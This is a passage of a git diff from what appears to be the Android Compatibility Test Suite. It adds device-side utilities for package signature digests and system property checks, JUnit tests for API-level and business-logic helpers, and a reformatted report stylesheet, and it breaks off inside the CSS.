+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+/**
+ * Device-side utility class for PackageManager-related operations
+ */
+public class PackageUtil {
+
+    private static final String TAG = PackageUtil.class.getSimpleName();
+
+    private static final int SYSTEM_APP_MASK =
+            ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    /** Returns true if a package with the given name exists on the device */
+    public static boolean exists(String packageName) {
+        try {
+            return (getPackageManager().getApplicationInfo(packageName,
+                    PackageManager.GET_META_DATA) != null);
+        } catch(PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /** Returns true if a package with the given name AND SHA digest exists on the device */
+    public static boolean exists(String packageName, String sha) {
+        try {
+            if (getPackageManager().getApplicationInfo(
+                    packageName, PackageManager.GET_META_DATA) == null) {
+                return false;
+            }
+            return sha.equals(computePackageSignatureDigest(packageName));
+        } catch (NoSuchAlgorithmException | PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /** Returns true if the app for the given package name is a system app for this device */
+    public static boolean isSystemApp(String packageName) {
+        try {
+            ApplicationInfo ai = getPackageManager().getApplicationInfo(packageName,
+                    PackageManager.GET_META_DATA);
+            return ai != null && ((ai.flags & SYSTEM_APP_MASK) != 0);
+        } catch(PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /** Returns the version string of the package name, or null if the package can't be found */
+    public static String getVersionString(String packageName) {
+        try {
+            PackageInfo info = getPackageManager().getPackageInfo(packageName,
+                    PackageManager.GET_META_DATA);
+            return info.versionName;
+        } catch (PackageManager.NameNotFoundException | NullPointerException e) {
+            Log.w(TAG, "Could not find version string for package " + packageName);
+            return null;
+        }
+    }
+
+    /**
+     * Compute the signature SHA digest for a package.
+     * @param package the name of the package for which the signature SHA digest is requested
+     * @return the signature SHA digest
+     */
+    public static String computePackageSignatureDigest(String packageName)
+            throws NoSuchAlgorithmException, PackageManager.NameNotFoundException {
+        PackageInfo packageInfo = getPackageManager()
+                .getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
+        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+        messageDigest.update(packageInfo.signatures[0].toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 3 * digestLength - 1;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+            if (i < digestLength - 1) {
+                chars[i * 3 + 2] = ':';
+            }
+        }
+        return new String(chars);
+    }
+
+    private static PackageManager getPackageManager() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
index ededfee..c41e0e9 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -16,10 +16,17 @@
 
 package com.android.compatibility.common.util;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import android.os.Build;
+import android.support.test.InstrumentationRegistry;
 
 import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
 import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Device-side utility class for reading properties and gathering information for testing
@@ -31,17 +38,38 @@
      * Name of read-only property detailing the first API level for which the product was
      * shipped. Property should be undefined for factory ROM products.
      */
-    public static String FIRST_API_LEVEL = "ro.product.first_api_level";
+    public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+    private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+    private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+    private static final String TAG_DEV_KEYS = "dev-keys";
+
+    public static final String GOOGLE_SETTINGS_QUERY =
+            "content query --uri content://com.google.settings/partner";
 
     /** Value to be returned by getPropertyInt() if property is not found */
     public static int INT_VALUE_IF_UNSET = -1;
 
+    /** Returns whether the device build is a user build */
+    public static boolean isUserBuild() {
+        return propertyEquals(BUILD_TYPE_PROPERTY, "user");
+    }
+
     /** Returns whether the device build is the factory ROM */
     public static boolean isFactoryROM() {
         // property should be undefined if and only if the product is factory ROM.
         return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
     }
 
+    /** Returns whether this build is built with dev-keys */
+    public static boolean isDevKeysBuild() {
+        for (String tag : Build.TAGS.split(",")) {
+            if (TAG_DEV_KEYS.equals(tag.trim())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     /**
      * Return the first API level for this product. If the read-only property is unset,
      * this means the first API level is the current API level, and the current API level
@@ -53,22 +81,87 @@
     }
 
     /**
+     * Return the manufacturer of this product. If unset, return null.
+     */
+    public static String getManufacturer() {
+        return getProperty(MANUFACTURER_PROPERTY);
+    }
+
+    /** Returns a mapping from client ID names to client ID values */
+    public static Map<String, String> getClientIds() throws IOException {
+        Map<String,String> clientIds = new HashMap<>();
+        String queryOutput = SystemUtil.runShellCommand(
+                InstrumentationRegistry.getInstrumentation(), GOOGLE_SETTINGS_QUERY);
+        for (String line : queryOutput.split("[\\r?\\n]+")) {
+            // Expected line format: "Row: 1 _id=123, name=<property_name>, value=<property_value>"
+            Pattern pattern = Pattern.compile("name=([a-z_]*), value=(.*)$");
+            Matcher matcher = pattern.matcher(line);
+            if (matcher.find()) {
+                String name = matcher.group(1);
+                String value = matcher.group(2);
+                if (name.contains("client_id")) {
+                    clientIds.put(name, value); // only add name-value pair for client ids
+                }
+            }
+        }
+        return clientIds;
+    }
+
+    /** Returns whether the property exists on this device */
+    public static boolean propertyExists(String property) {
+        return getProperty(property) != null;
+    }
+
+    /** Returns whether the property value is equal to a given string */
+    public static boolean propertyEquals(String property, String value) {
+        if (value == null) {
+            return !propertyExists(property); // null value implies property does not exist
+        }
+        return value.equals(getProperty(property));
+    }
+
+    /**
+     * Returns whether the property value matches a given regular expression. The method uses
+     * String.matches(), requiring a complete match (i.e. expression matches entire value string)
+     */
+    public static boolean propertyMatches(String property, String regex) {
+        if (regex == null || regex.isEmpty()) {
+            // null or empty pattern implies property does not exist
+            return !propertyExists(property);
+        }
+        String value = getProperty(property);
+        return (value == null) ? false : value.matches(regex);
+    }
+
+    /**
      * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
      */
     public static int getPropertyInt(String property) {
+        String value = getProperty(property);
+        if (value == null) {
+            return INT_VALUE_IF_UNSET;
+        }
+        try {
+            return Integer.parseInt(value);
+        } catch (NumberFormatException e) {
+            return INT_VALUE_IF_UNSET;
+        }
+    }
+
+    /** Retrieves the desired property value in string form */
+    public static String getProperty(String property) {
         Scanner scanner = null;
-        int val = INT_VALUE_IF_UNSET;
         try {
             Process process = new ProcessBuilder("getprop", property).start();
             scanner = new Scanner(process.getInputStream());
-            val = Integer.parseInt(scanner.nextLine().trim());
-        } catch (IOException | NumberFormatException e) {
-            return val = INT_VALUE_IF_UNSET;
+            String value = scanner.nextLine().trim();
+            return (value.isEmpty()) ? null : value;
+        } catch (IOException e) {
+            return null;
         } finally {
             if (scanner != null) {
                 scanner.close();
             }
         }
-        return val;
     }
 }
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
new file mode 100644
index 0000000..13305c3
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.os.Build;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@line ApiLevelUtil}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ApiLevelUtilTest {
+
+    @Test
+    public void testComparisonByInt() throws Exception {
+        int version = Build.VERSION.SDK_INT;
+
+        assertFalse(ApiLevelUtil.isBefore(version - 1));
+        assertFalse(ApiLevelUtil.isBefore(version));
+        assertTrue(ApiLevelUtil.isBefore(version + 1));
+
+        assertTrue(ApiLevelUtil.isAfter(version - 1));
+        assertFalse(ApiLevelUtil.isAfter(version));
+        assertFalse(ApiLevelUtil.isAfter(version + 1));
+
+        assertTrue(ApiLevelUtil.isAtLeast(version - 1));
+        assertTrue(ApiLevelUtil.isAtLeast(version));
+        assertFalse(ApiLevelUtil.isAtLeast(version + 1));
+
+        assertFalse(ApiLevelUtil.isAtMost(version - 1));
+        assertTrue(ApiLevelUtil.isAtMost(version));
+        assertTrue(ApiLevelUtil.isAtMost(version + 1));
+    }
+
+    @Test
+    public void testComparisonByString() throws Exception {
+        // test should pass as long as device SDK version is at least 12
+        assertTrue(ApiLevelUtil.isAtLeast("HONEYCOMB_MR1"));
+        assertTrue(ApiLevelUtil.isAtLeast("12"));
+    }
+
+    @Test
+    public void testResolveVersionString() throws Exception {
+        // can only test versions known to the device build
+        assertEquals(ApiLevelUtil.resolveVersionString("GINGERBREAD_MR1"), 10);
+        assertEquals(ApiLevelUtil.resolveVersionString("10"), 10);
+        assertEquals(ApiLevelUtil.resolveVersionString("HONEYCOMB"), 11);
+        assertEquals(ApiLevelUtil.resolveVersionString("11"), 11);
+        assertEquals(ApiLevelUtil.resolveVersionString("honeycomb_mr1"), 12);
+        assertEquals(ApiLevelUtil.resolveVersionString("12"), 12);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testResolveMisspelledVersionString() throws Exception {
+        ApiLevelUtil.resolveVersionString("GINGERBEARD");
+    }
+}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
new file mode 100644
index 0000000..f24d11d
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
@@ -0,0 +1,312 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@line BusinessLogicDeviceExecutor}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicDeviceExecutorTest {
+
+    private static final String THIS_CLASS =
+            "com.android.compatibility.common.util.BusinessLogicDeviceExecutorTest";
+    private static final String METHOD_1 = THIS_CLASS + ".method1";
+    private static final String METHOD_2 = THIS_CLASS + ".method2";
+    private static final String METHOD_3 = THIS_CLASS + ".method3";
+    private static final String METHOD_4 = THIS_CLASS + ".method4";
+    private static final String METHOD_5 = THIS_CLASS + ".method5";
+    private static final String METHOD_6 = THIS_CLASS + ".method6";
+    private static final String METHOD_7 = THIS_CLASS + ".method7";
+    private static final String METHOD_8 = THIS_CLASS + ".method8";
+    private static final String METHOD_9 = THIS_CLASS + ".method9";
+    private static final String METHOD_10 = THIS_CLASS + ".method10";
+    private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+    private static final String ARG_STRING_1 = "arg1";
+    private static final String ARG_STRING_2 = "arg2";
+
+    private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+    private String mInvoked = null;
+    private Object[] mArgsUsed = null;
+    private Context mContext;
+    private BusinessLogicExecutor mExecutor;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
+        // reset the instance variables tracking the method invoked and the args used
+        mInvoked = null;
+        mArgsUsed = null;
+        // reset the OtherClass class variable tracking the method invoked
+        OtherClass.otherInvoked = null;
+    }
+
+    @Test
+    public void testInvokeMethodInThisClass() throws Exception {
+        mExecutor.invokeMethod(METHOD_1);
+        // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+    }
+
+    @Test
+    public void testInvokeMethodInOtherClass() throws Exception {
+        mExecutor.invokeMethod(OTHER_METHOD_1);
+        // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+        assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+                OTHER_METHOD_1);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+        // assert both String arguments were correctly set for method2
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringAndContextArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+        // assert that String arg and Context arg were correctly set for method3
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+    }
+
+    @Test
+    public void testInvokeMethodWithContextAndStringArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+        // Like testInvokeMethodWithStringAndContextArgs, but flip the args for method4
+        assertEquals("Failed to set first argument", mArgsUsed[0], mContext);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringArrayArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+        // assert both String arguments were correctly set for method5
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_5);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+        // assert no String arguments were set for method5
+        assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+        // assert both String arguments were correctly set for method6
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithAllArgTypes() throws Exception {
+        mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+        // assert all arguments were correctly set for method7
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+        assertEquals("Failed to set third argument", mArgsUsed[2], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeOverloadedMethodOneArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+        assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+    }
+
+    @Test
+    public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+        assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeNonExistentMethod() throws Exception {
+        mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodTooManyArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodTooFewArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodIncompatibleArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+    }
+
+    @Test
+    public void testExecuteConditionCheckReturnValue() throws Exception {
+        assertTrue("Wrong return value",
+                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+        assertFalse("Wrong return value",
+                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testExecuteInvalidCondition() throws Exception {
+        mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+    }
+
+    @Test
+    public void testExecuteAction() throws Exception {
+        mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+        // assert both String arguments were correctly set for method2
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testExecuteActionThrowException() throws Exception {
+        mExecutor.executeAction(METHOD_9);
+    }
+
+    @Test
+    public void testExecuteActionViolateAssumption() throws Exception {
+        try {
+            mExecutor.executeAction(METHOD_10);
+            // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+            // attribute on @Test annotation, so test using Assert.fail()
+            fail("Expected assumption failure");
+        } catch (AssumptionViolatedException e) {
+            // expected
+        }
+    }
+
+    public void method1() {
+        mInvoked = METHOD_1;
+    }
+
+    // overloaded method with one arg
+    public void method1(String arg1) {
+        mInvoked = METHOD_1;
+        mArgsUsed = new Object[]{arg1};
+    }
+
+    // overloaded method with two args
+    public void method1(String arg1, String arg2) {
+        mInvoked = METHOD_1;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    public boolean method2(String arg1, String arg2) {
+        mInvoked = METHOD_2;
+        mArgsUsed = new Object[]{arg1, arg2};
+        return arg1.equals(arg2);
+    }
+
+    public void method3(String arg1, Context arg2) {
+        mInvoked = METHOD_3;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    // Same as method3, but flipped args
+    public void method4(Context arg1, String arg2) {
+        mInvoked = METHOD_4;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    public void method5(String... args) {
+        mInvoked = METHOD_5;
+        mArgsUsed = args;
+    }
+
+    public void method6(String arg1, String... moreArgs) {
+        mInvoked = METHOD_6;
+        List<String> allArgs = new ArrayList<>();
+        allArgs.add(arg1);
+        allArgs.addAll(Arrays.asList(moreArgs));
+        mArgsUsed = allArgs.toArray(new String[0]);
+    }
+
+    public void method7(String arg1, Context arg2, String... moreArgs) {
+        mInvoked = METHOD_7;
+        List<Object> allArgs = new ArrayList<>();
+        allArgs.add(arg1);
+        allArgs.add(arg2);
+        allArgs.addAll(Arrays.asList(moreArgs));
+        mArgsUsed = allArgs.toArray(new Object[0]);
+    }
+
+    public void method8(String arg1, Integer arg2) {
+        // This method should never be successfully invoked, since Integer parameter types are
+        // unsupported for the BusinessLogic service
+    }
+
+    // throw AssertionFailedError
+    public void method9() throws AssertionFailedError {
+        assertTrue(false);
+    }
+
+    // throw AssumptionViolatedException
+    public void method10() throws AssumptionViolatedException {
+        assumeTrue(false);
+    }
+
+    public static class OtherClass {
+
+        public static String otherInvoked = null;
+
+        public void method1() {
+            otherInvoked = OTHER_METHOD_1;
+        }
+    }
+}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
new file mode 100644
index 0000000..ad4acbb
--- /dev/null
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Tests for {@line BusinessLogicTestCase}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicTestCaseTest {
+
+    private static final String KEY_1 = "key1";
+    private static final String KEY_2 = "key2";
+    private static final String VALUE_1 = "value1";
+    private static final String VALUE_2 = "value2";
+
+    DummyTest mDummyTest;
+    DummyTest mOtherDummyTest;
+
+    @Before
+    public void setUp() {
+        mDummyTest = new DummyTest();
+        mOtherDummyTest = new DummyTest();
+    }
+
+    @Test
+    public void testMapPut() throws Exception {
+        mDummyTest.mapPut("instanceMap", KEY_1, VALUE_1);
+        assertTrue("mapPut failed for instanceMap", mDummyTest.instanceMap.containsKey(KEY_1));
+        assertEquals("mapPut failed for instanceMap", mDummyTest.instanceMap.get(KEY_1), VALUE_1);
+        assertTrue("mapPut affected wrong instance", mOtherDummyTest.instanceMap.isEmpty());
+    }
+
+    @Test
+    public void testStaticMapPut() throws Exception {
+        mDummyTest.mapPut("staticMap", KEY_2, VALUE_2);
+        assertTrue("mapPut failed for staticMap", mDummyTest.staticMap.containsKey(KEY_2));
+        assertEquals("mapPut failed for staticMap", mDummyTest.staticMap.get(KEY_2), VALUE_2);
+        assertTrue("mapPut on static map should affect all instances",
+                mOtherDummyTest.staticMap.containsKey(KEY_2));
+    }
+
+    public static class DummyTest extends BusinessLogicTestCase {
+        public Map<String, String> instanceMap = new HashMap<>();
+        public static Map<String, String> staticMap = new HashMap<>();
+    }
+}
diff --git a/common/host-side/tradefed/res/report/compatibility_result.css b/common/host-side/tradefed/res/report/compatibility_result.css
index 03032ed..991055a 100644
--- a/common/host-side/tradefed/res/report/compatibility_result.css
+++ b/common/host-side/tradefed/res/report/compatibility_result.css
@@ -14,170 +14,159 @@
 */
 
 body {
-    font-family:arial,sans-serif;
-    color:#000;
-    font-size:13px;
-    color:#333;
-    padding:10;
-    margin:10;
+  color: #333;
+  font-family: arial,sans-serif;
+  font-size: 13px;
+  margin: 10;
+  padding: 10;
 }
 
 /* Report logo and device name */
 table.title {
-    padding:5px;
-    border-width: 0px;
-    margin-left:auto;
-    margin-right:auto;
-    vertical-align:middle;
+  border-width: 0;
+  margin-left: auto;
+  margin-right: auto;
+  padding: 5px;
+  vertical-align: middle;
 }
 
 table.summary {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    border: 0px solid #A5C639;
-    margin-left:auto;
-    margin-right:auto;
+  background-color: #d4e9a9;
+  border: 0 solid #a5c639;
+  border-collapse: collapse;
+  margin-left: auto;
+  margin-right: auto;
 }
 
 table.summary th {
-    background-color: #A5C639;
-    font-size: 1.2em;
-    padding: 0.5em;
+  background-color: #a5c639;
+  font-size: 1.2em;
+  padding: .5em;
 }
 
 table.summary td {
-    border-width: 0px 0px 0px 0px;
-    border-color: gray;
-    border-style: inset;
-    font-size: 1em;
-    padding: 0.5em;
-    vertical-align: top;
+  border: 0 inset #808080;
+  font-size: 1em;
+  padding: .5em;
+  vertical-align: top;
 }
 
 table.testsummary {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    margin-left:auto;
-    margin-right:auto;
+  background-color: #d4e9a9;
+  border-collapse: collapse;
+  margin-left: auto;
+  margin-right: auto;
 }
 
 table.testsummary th {
-    background-color: #A5C639;
-    border: 1px outset gray;
-    padding: 0.5em;
+  background-color: #a5c639;
+  border: 1px outset #808080;
+  padding: .5em;
 }
 
 table.testsummary td {
-    border: 1px outset #A5C639;
-    padding: 0.5em;
-    text-align: center;
+  border: 1px outset #a5c639;
+  padding: .5em;
+  text-align: center;
 }
 
 table.testdetails {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    border-width:1;
-    border-color: #A5C639;
-    margin-left:auto;
-    margin-right:auto;
-    margin-bottom: 2em;
-    vertical-align: top;
-    width: 95%;
+  background-color: #d4e9a9;
+  border-collapse: collapse;
+  border-color: #a5c639;
+  border-width: 1;
+  margin-bottom: 2em;
+  margin-left: auto;
+  margin-right: auto;
+  vertical-align: top;
+  width: 95%;
 }
 
 table.testdetails th {
-    background-color: #A5C639;
-    border-width: 1px;
-    border-color: gray;
-    border-style: outset;
-    height: 2em;
-    padding: 0.2em;
+  background-color: #a5c639;
+  border: 1px outset #808080;
+  height: 2em;
+  padding: .2em;
 }
 
 table.testdetails td {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding: 0.2em;
+  border: 1px outset #a5c639;
+  padding: .2em;
+  text-align: left;
+  vertical-align: top;
 }
 
 table.testdetails td.module {
-    background-color: white;
-    border: 0px;
-    font-weight: bold;
+  background-color: #fff;
+  border: 0;
+  font-weight: bold;
 }
 
 table.incompletemodules {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    margin-left:auto;
-    margin-right:auto;
+  background-color: #d4e9a9;
+  border-collapse: collapse;
+  margin-left: auto;
+  margin-right: auto;
 }
 
 table.incompletemodules th {
-    background-color: #A5C639;
-    border: 1px outset gray;
-    padding: 0.5em;
+  background-color: #a5c639;
+  border: 1px outset #808080;
+  padding: .5em;
 }
 
 table.incompletemodules td {
-    border: 1px outset #A5C639;
-    padding: 0.5em;
-    text-align: center;
+  border: 1px outset #a5c639;
+  padding: .5em;
+  text-align: center;
 }
 
 /* Test cell details */
 td.failed {
-    background-color: #FA5858;
-    font-weight:bold;
-    vertical-align: top;
-    text-align: center;
+  background-color: #fa5858;
+  font-weight: bold;
+  text-align: center;
+  vertical-align: top;
 }
 
 td.failuredetails {
-    text-align: left;
+  text-align: left;
 }
 
 td.pass {
-    text-align: center;
-    margin-left:auto;
-    margin-right:auto;
+  margin-left: auto;
+  margin-right: auto;
+  text-align: center;
 }
 
 td.not_executed {
-    background-color: #A5C639;
-    vertical-align: top;
-    text-align: center;
+  background-color: #a5c639;
+  text-align: center;
+  vertical-align: top;
 }
 
 td.testname {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
+  border: 1px outset #a5c639;
+  overflow: hidden;
+  padding: 1;
+  text-align: left;
+  vertical-align: top;
 }
 
 td.testcase {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
